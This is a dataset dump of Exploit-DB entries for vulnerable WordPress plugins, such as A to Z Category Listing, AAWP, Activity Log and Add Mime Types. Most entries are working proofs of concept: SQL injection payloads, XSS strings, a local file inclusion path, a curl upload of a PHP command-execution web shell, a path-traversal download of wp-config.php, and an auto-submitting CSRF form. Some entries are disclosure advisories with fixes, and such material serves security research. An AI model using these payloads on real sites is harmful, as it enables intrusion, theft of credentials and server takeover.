deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17809
Description: WordPress Plugin A to Z Category Listing 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-09
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress A to Z Category Listing plugin <= 1.3 SQL Injection Vulnerability
# Date: 2011-09-09
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/a-to-z-category-listing.zip
# Version: 1.3 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/a-to-z-category-listing/post_retrive_ajax.php?R=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
$init_letter = $_GET['R'];
$sql = "select * from ".$table_prefix."terms wpt,".$table_prefix."term_taxonomy wptt where wpt.name like '".$init_letter."%' and wptt.taxonomy = 'category' and wpt.term_id = wptt.term_id";
...
$sql_rec = $wpdb->get_results($sql);
Exploit-DB #50643
Description: WordPress Plugin AAWP 3.16 - 'tab' Reflected Cross Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2022-01-05
Author: Andrea Bocchetti

Exploit:
# Exploit Title: WordPress Plugin AAWP 3.16 - 'tab' Reflected Cross Site Scripting (XSS) (Authenticated)
# Date: 04/01/2022
# Exploit Author: Andrea Bocchetti
# Vendor Homepage: https://getaawp.com/
# Software Link: https://getaawp.com/
# Version: 3.16
# Tested on: Windows 10 - Chrome, WordPress 5.8.2

# Proof of Concept:
# 1- Install and activate AAWP 3.16 plugin.
# 2- Go to https://localhost.com/wp-admin/admin.php?page=aawp-settings&tab=XXXX
# 3- Add payload to the Tab, the XSS Payload: %22onclick%3Dprompt%288%29%3E%3Csvg%2Fonload%3Dprompt%288%29%3E%22%40x.y
# 4- XSS has been triggered.

# Go to this url "http://localhost/wp-admin/admin.php?page=aawp-settings&tab=%22onclick%3Dprompt%288%29%3E%3Csvg%2Fonload%3Dprompt%288%29%3E%22%40x.y"
XSS will trigger.
Exploit-DB #37896
Description: WordPress Plugin ABC Test - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-09-26
Author: Scott Herbert

Exploit:
source: https://www.securityfocus.com/bid/55689/info

The ABC Test plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ABC Test 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/blog/wp-admin/admin.php?page=abctest&do=edit&id=%22%3E%3Ch1 %3EXSS%3C/h1
Exploit-DB #39577
Description: WordPress Plugin Abtest - Local File Inclusion
Type: webapps
Platform: php
Date: 2016-03-21
Author: CrashBandicot

Exploit:
# Exploit Title: Wordpress Plugin Abtest - Local File Inclusion
# Date: 2016-03-19
# Google Dork : inurl:/wp-content/plugins/abtest/
# Exploit Author: CrashBandicot
# Vendor Homepage: https://github.com/wp-plugins/abtest
# Tested on: Chrome
  

# Vulnerable File : abtest_admin.php
 
<?php 

require 'admin/functions.php'; 

if (isset($_GET['action'])) {

  include 'admin/' . $_GET['action'] . '.php';

} else {
  
   include 'admin/list_experiments.php'; 
}
?>

# PoC : localhost/wp-content/plugins/abtest/abtest_admin.php?action=[LFI]
 
# Pics : http://i.imgur.com/jZFKYOc.png
Exploit-DB #35136
Description: WordPress Plugin Accept Signups 0.1 - 'email' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-22
Author: clshack

Exploit:
source: https://www.securityfocus.com/bid/45548/info

The Accept Signups Plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Accept Signups 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/accept-signups/accept-signups_submit.php?email=clshack<script>alert(String.fromCharCode(72,
101, 108, 108, 111, 32, 58, 68, 32))</script>
Exploit-DB #15808
Description: WordPress Plugin Accept Signups 0.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-22
Author: clshack

Exploit:
# Exploit Title: WORDPRESS Plugin Accept Signups PERSISTENT XSS
# Date:21/12/2010
# Author: clshack
# Software Link:http://wordpress.org/extend/plugins/accept-signups/
# Version:0.1
# Tested on: wordpress 3.03
# CVE :
Vulnerable code accept-signups_submit.php:
require_once('../../../wp-config.php');//*addslashes* to GET and POST

$e=$_GET['email'];
function saveEmail($e) {
global $wpdb;
 $tbl = '`' . DB_NAME . '`.`' . $wpdb->prefix . 'accept-signups`';
$q = "insert into " .$tbl . " (email, ip, timestamp) value ('$e', '".
$_SERVER['REMOTE_ADDR'] . "', now());";
 return $wpdb->query($wpdb->prepare($q));
}

Poc:
http://localhost/wordpress/*wp-content/plugins/accept-signups/accept-signups_submit.php?email=clshack<script>alert(String.fromCharCode(72,
101, 108, 108, 111, 32, 58, 68, 32))</script>*
Exploit-DB #50515
Description: WordPress Plugin AccessPress Social Icons 1.8.2 - 'icon title' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-11-12
Author: Murat DEMİRCİ

Exploit:
# Exploit Title: WordPress Plugin AccessPress Social Icons 1.8.2 - 'icon title' Stored Cross-Site Scripting (XSS)
# Date: 11/12/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://accesspressthemes.com/
# Software Link: https://wordpress.org/plugins/accesspress-social-icons/
# Version: 1.8.2
# Tested on : Windows 10

#Poc:

1. Install Latest WordPress
2. Install and activate AccessPress Social Icons 1.8.2
3. Open plugin on the left frame and keep going "add new" field. Click "Choose icon indiviually" and fill other fields.
4. Enter JavaScript payload which is mentioned below into 'icon title' field and "Add Icon to list".

<img src=x onerror=confirm('xss')> 

4. You will observe that the payload successfully got stored into the database and alert will be seen on the screen.
Exploit-DB #37514
Description: WordPress Plugin ACF Frontend Display 2.0.5 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2015-07-07
Author: TUNISIAN CYBER

Exploit:
+---------------------------------------------------------------------------+ 
#[+] Author: TUNISIAN CYBER 
#[+] Title: WP Plugin Free ACF Frontend Display File Upload Vulnerability 
#[+] Date: 3-07-2015 
#[+] Type: WebAPP 
#[+] Download Plugin: https://downloads.wordpress.org/plugin/acf-frontend-display.2.0.5.zip
#[+] Tested on: KaliLinux 
#[+] Friendly Sites: sec4ever.com 
#[+] Twitter: @TCYB3R 
+---------------------------------------------------------------------------+ 

curl -k -X POST -F "action=upload" -F "files=@/root/Desktop/evil.php" "site:wp-content/plugins/acf-frontend-display/js/blueimp-jQuery-File-Upload-d45deb1/server/php/index.php" 

File Path: site/wp-content/uploads/uigen_YEAR/file.php 
Example: site/wp-content/uploads/uigen_2015/evil.php 
evil.php: <?php passthru($_GET['cmd']); ?> 


TUNISIAN CYBER(miutex)-S4E
Exploit-DB #40083
Description: WordPress Plugin Activity Log 2.3.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-07-11
Author: Han Sahin

Exploit:
Persistent Cross-Site Scripting in WordPress Activity Log plugin
Han Sahin

Abstract

A stored Cross-Site Scripting (XSS) vulnerability has been found in the WordPress Activity Log plugin. By using this vulnerability an attacker can inject malicious JavaScript code into the application, which will execute within the browser of any user who views the Activity Log, in general WP admin.

Tested versions

This issue was successfully tested on WordPress Activity Log plugin version 2.3.1.

Fix

This issue has been fixed in version 2.3.2 of the WordPress Activity Log plugin. The updated plugin can be downloaded from the following location: https://downloads.wordpress.org/plugin/aryo-activity-log.2.3.2.zip.

Introduction

The WordPress Activity Log plugin allows monitoring and tracking of site activity on a WordPress site. A stored Cross-Site Scripting vulnerability has been discovered in the WordPress Activity Log plugin which allows an unauthenticated attacker to inject malicious JavaScript code into the application, which will execute within the browser of any user who views the Activity Log (WP admin).

Details

The WordPress Activity Log plugin fails to sufficiently check input supplied to the X-Forwarded-For HTTP header and perform output encoding when the input is presented in a "wrong password event". As a result the malicious request will be stored in the Activity Log page, executing the payload when an unsuspecting user views this specific page.

An attacker can use this vulnerability to perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, and logging their keystrokes or deliver malware.

Persistent Cross-Site scripting flaws are typically more serious than reflected vulnerabilities because they do not require a separate delivery mechanism in order to reach target users (victims).


Proof of concept

This vulnerability can be demonstrated by submitting an XFF header similar to the following:

POST /wp-login.php HTTP/1.1
Host: 192.168.28.135
Content-Length: 113
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,nl;q=0.6
X-Forwarded-For: <script>alert(document.cookie);</script>
Connection: close

log=wordpress&[CREDENTIAL_REDACTED]-submit=Log+In&redirect_to=http%3A%2F%2F192.168.28.135%2Fwp-admin%2F&testcookie=1
Exploit-DB #44409
Description: WordPress Plugin Activity Log 2.4.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-05
Author: Stefan Broeder

Exploit:
# Exploit Title : Activity Log Wordpress Plugin Stored Cross Site Scripting (XSS)
# Date: 25-02-2018 
# Exploit Author : Stefan Broeder
# Contact : https://twitter.com/stefanbroeder
# Vendor Homepage: https://pojo.me
# Software Link: https://wordpress.org/plugins/aryo-activity-log/
# Version: 2.4.0
# CVE : CVE-2018-8729
# Category : webapps

Description
===========
Activity Log is a WordPress plugin which tracks site activity. It has more than 70.000 active installations. Version 2.4.0 (and possibly the previous ones) are affected by several Stored XSS vulnerabilities.

Vulnerable part of code
=======================
Storing the payload:
File: aryo-activity-log/hooks/class-aal-hook-attachment.php:14. The log entry that is stored contains the result of get_the_title($post->ID), which can include HTML and is not sanitized by WordPress.
File: aryo-activity-log/hooks/class-aal-hook-comments.php:14. The log entry that is stored contains the result of get_the_title($comment->comment_post_ID), which can include HTML and is not sanitized by WordPress.
File: aryo-activity-log/hooks/class-aal-hook-posts.php:7. The log entry that is stored contains the result of $title = get_the_title($post), which can include HTML and is not sanitized by WordPress.
 
Displaying the payload:
File: aryo-activity-log/classes/class-aal-activity-log-list-table.php:209. $item->object_name is displayed without sanitization and can contain HTML tags.

Impact
======
Arbitrary JavaScript code can be run on browser side if a user is able to create a post or upload an attachment.

Exploitation
============
To successfully exploit this vulnerability, an attacker would have to perform any of the following:
- Create/edit/draft/publish/trash/untrash a post with JavaScript in the title
- Create/edit/trash/untrash/mark_as_spam/unmark_as_spam a comment on a post with JavaScript in the title
- Add/edit/delete an attachment with JavaScript in the attachment title

Regular website visitors will not have the capability to do any of these, however, possible threat actors might include:
- A user with the role of â€˜editorâ€™ within WordPress (non-admins which are able to create content)
- A rogue administrator among multiple administrators
- A compromised plugin

If the payload has been injected, then it will be executed once the Activity Log is viewed. This can possibly lead to stealing of CSRF nonces and creation of new (administrator) users on the WordPress instance.

Solution
========
Update to 2.4.1
Exploit-DB #44437
Description: WordPress Plugin Activity Log 2.4.0 - Stored Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-10
Author: Stefan Broeder

Exploit:
# Exploit Title : Activity Log Wordpress Plugin Stored Cross Site Scripting (XSS)
# Date: 25-02-2018
# Exploit Author : Stefan Broeder
# Vendor Homepage: https://pojo.me
# Software Link: https://wordpress.org/plugins/aryo-activity-log/
# Version: 2.4.0
# CVE : CVE-2018-8729
# Category : webapps

Description
===========
Activity Log is a WordPress plugin which tracks site activity. It has more than 70.000 active installations. Version 2.4.0 (and possibly the previous ones) are affected by several Stored XSS vulnerabilities.

Vulnerable part of code
=======================
Storing the payload:
File: aryo-activity-log/hooks/class-aal-hook-attachment.php:14. The log entry that is stored contains the result of get_the_title($post->ID), which can include HTML and is not sanitized by WordPress.
File: aryo-activity-log/hooks/class-aal-hook-comments.php:14. The log entry that is stored contains the result of get_the_title($comment->comment_post_ID), which can include HTML and is not sanitized by WordPress.
File: aryo-activity-log/hooks/class-aal-hook-posts.php:7. The log entry that is stored contains the result of $title = get_the_title($post), which can include HTML and is not sanitized by WordPress.

Displaying the payload:
File: aryo-activity-log/classes/class-aal-activity-log-list-table.php:209. $item->object_name is displayed without sanitization and can contain HTML tags.

Impact
======
Arbitrary JavaScript code can be run on browser side if a user is able to create a post or upload an attachment.

Exploitation
============
To successfully exploit this vulnerability, an attacker would have to perform any of the following:
- Create/edit/draft/publish/trash/untrash a post with JavaScript in the title
- Create/edit/trash/untrash/mark_as_spam/unmark_as_spam a comment on a post with JavaScript in the title
- Add/edit/delete an attachment with JavaScript in the attachment title

Regular website visitors will not have the capability to do any of these, however, possible threat actors might include:
- A user with the role of ‘editor’ within WordPress (non-admins which are able to create content)
- A rogue administrator among multiple administrators
- A compromised plugin

If the payload has been injected, then it will be executed once the Activity Log is viewed. This can possibly lead to stealing of CSRF nonces and creation of new (administrator) users on the WordPress instance.

Solution
========
Update to 2.4.1
Exploit-DB #39761
Description: WordPress Plugin Acunetix WP Security Plugin 3.0.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-05-04
Author: Johto Robbie

Exploit:
1. Introduction

# Exploit Title: Acunetix WP Security 3.0.3 XSS
# Date: May.03.2016
# Exploit Author: Johto Robbie
# Facebook: https://www.facebook.com/johto.robbie
# Vendor: VN Hacker News
# Tested On: Apache 2.4.17 / PHP 5.6.16 / Windows 10 / WordPress 4.5.1
# Category: Webapps
# Software Link:
http://localhost:8888/wordpress/wp-admin/admin.php?page=swpa_live_traffic

2. Descryption:

I have to insert scripts into the content search wordpress. The result is
that it is logging in Acunetix Secure WordPress. Taking advantage of this,
I have exploited XSS vulnerability

<span class="w-entry"><a
href="http://localhost:8888/wordpress/?s="><script>alert("Johto.Robbie"</script>"
target="_blank" title="Opens in a new tab">
http://localhost:8888/wordpress/?s=
"><script>alert("Johto.Robbie"</script></a></span>

Video Demonstration:
https://www.youtube.com/watch?v=L8t3_HGriP8&feature=youtu.be



3. Report Timeline

02-05-2016 : Discovered
02-05-2016 : Vendor notified


4. Solution

Update to version 4.5.1
Exploit-DB #46252
Description: WordPress Plugin Ad Manager WD 1.0.11 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2019-01-28
Author: 41!kh4224rDz

Exploit:
Exploit Title: WordPress Plugin ad manager wd v1.0.11 - Arbitrary File
Download
Google Dork: N/A
Date: 25.01.2019
Vendor Homepage:
https://web-dorado.com/products/wordpress-ad-manager-wd.html
Software: https://wordpress.org/plugins/ad-manager-wd
Version: 1.0.11
Tested on: Win7 x64,

Exploit Author: 41!kh4224rDz
Author Mail : scanweb18@gmail.com

Vulnerability:
wp-content\plugins\ad-manager-wd\wd_ads_admin_class.php

   30/  if (isset($_GET['export']) && $_GET['export'] == 'export_csv')

   97/   $path = $_GET['path'];
           header('Content-Description: File Transfer');
           header('Content-Type: application/octet-stream');
           header('Content-Transfer-Encoding: binary');
           header('Expires: 0');
           header('Cache-Control: must-revalidate, post-check=0,
pre-check=0');
            header('Pragma: public');

           header('Content-Type: text/csv; charset=utf-8');
           header('Content-Disposition: attachment; filename=' .
basename($path));

           readfile($path);
 Arbitrary File Download/Exploit :

http://localhost/wordpress/wp-admin/edit.php?post_type=wd_ads_ads&export=export_csv&path=../wp-config.php
Exploit-DB #40220
Description: WordPress Plugin Add From Server < 3.3.2 - Cross-Site Request Forgery (Arbitrary File Upload)
Type: webapps
Platform: php
Date: 2016-08-08
Author: Edwin Molenaar

Exploit:
Cross-Site Request Forgery vulnerability in Add From Server WordPress Plugin

Abstract

It was discovered that Add From Server is vulnerabile to Cross-Site Request Forgery. It can be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement). An attacker can use this issue to add illegal content to the victims server, or add very large files to the victim's server to exaust the amount of avalible disk space.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20[PII_REDACTED]

Tested versions

These issues were successfully tested on Add From Server WordPress Plugin version 6.2.

Fix

This issue is resolved in Add From Server version 3.3.2.

Introduction

The Add From Server WordPress Plugin is a quick plugin, which allows you to import media & files into the WordPress uploads manager from (remote) webservers. It was discovered that Add From Server is vulnerabile to Cross-Site Request Forgery. It can be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement). Because of this, 
the following attack scenario's could be possible:

- Adding illegal content to the victim's server.
- Adding very large files to the victim's server to exaust the amount of avalible disk space.

Details

When a (media) file is added from the server, the source is not validated. This means that not only files from the localhost can be added, but also from other sources. The affected code is not protected with an anti-Cross-Site Request Forgery token.

The function handle_imports() only removes slashes. The vulnerability exists in the file add-from-server/class.add-from-server.php (line 213). Because slashes are removed, the file that will be uploaded must exist in the server root. For example: www.example.com/largefile.txt

The host and filename will be set in a separate parameter, so no slashes are needed.

Proof of concept

POST /wp-admin/upload.php?page=add-from-server HTTP/1.1
Host: <target>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
   
files%5B%5D=largefile.txt&import-date=current&cwd=www.example.com&import=Import
Exploit-DB #47295
Description: WordPress Plugin Add Mime Types 2.2.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2019-08-20
Author: Princy Edward

Exploit:
# Exploit Title: CSRF vulnerabilities in WP Add Mime Types Plugin <= 2.2.1
# Google Dork: inurl:”/wp-content/plugins/wp-add-mime-types”
# Date: 18 july, 2019
# Exploit Author: Princy Edward
# Exploit Author Blog : https://prinyedward.blogspot.com/
# Vendor Homepage: https://wordpress.org/plugins/wp-add-mime-types/
# Software Link: https://downloads.wordpress.org/plugin/wp-add-mime-types.2.2.1.zip
# Version: 2.2.1
# Tested on: Apache/2.2.24 (CentOS)
# CVE : Fresh

#About Plugin
The plugin additionally allows the mime types and file extensions to WordPress. In other words, your WordPress site can upload various file extensions.
#Vulnerable Description
WordPress plugin WP Add Mime Types plugin 2.2.1 vulnerable to CWE-352.
## CSRF Code
Share this malicious link to the plugin user. Once he clicks the link, the mime type will automatically get updated. Here I shared a POC to allow exe files(application/x-msdownload) to be uploaded.
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://IP/wp-admin/options-general.php?page=wp-add-mime-types%2Fincludes%2Fadmin.php">
<input type="hidden" name="mime_type_values" value="exe    =    application/x-msdownload">
<input type="submit">
</form>
</body>
</html>
Exploit-DB #46066
Description: WordPress Plugin Adicon Server 1.2 - 'selectedPlace' SQL Injection
Type: webapps
Platform: php
Date: 2019-01-02
Author: Kaimi

Exploit:
# Exploit Title: WordPress Plugin Adicon Server 1.2 - 'selectedPlace' SQL Injection
# Date: 2018-12-28
# Software Link: https://wordpress.org/plugins/adicons/
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Version: 1.2
# Category: webapps

# SQL Injection
# File: addIcon.php
# Vulnerable code:
# $placement=$_POST['selectedPlace'];

# $x=explode("_",$placement);
# $ck=$wpdb->get_row("select id from ".$table_prefix."adicons where adRow=".$x[0]." and adCol=".$x[1]);

# Example payload:
selectedPlace=1 AND (SELECT * FROM (SELECT(SLEEP(1)))abcD); -- -
Exploit-DB #38537
Description: WordPress Plugin ADIF Log Search Widget - 'logbook_search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-05-27
Author: k3170makan

Exploit:
source: https://www.securityfocus.com/bid/60198/info

ADIF Log Search widget plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ADIF Log Search 1.0e is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/?call=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3Ctextarea%3E<http://www.example2.com/wordpress/?call=%22%3E%3Cscript%3Ealert(1);%3C/script%3E%3Ctextarea%3E>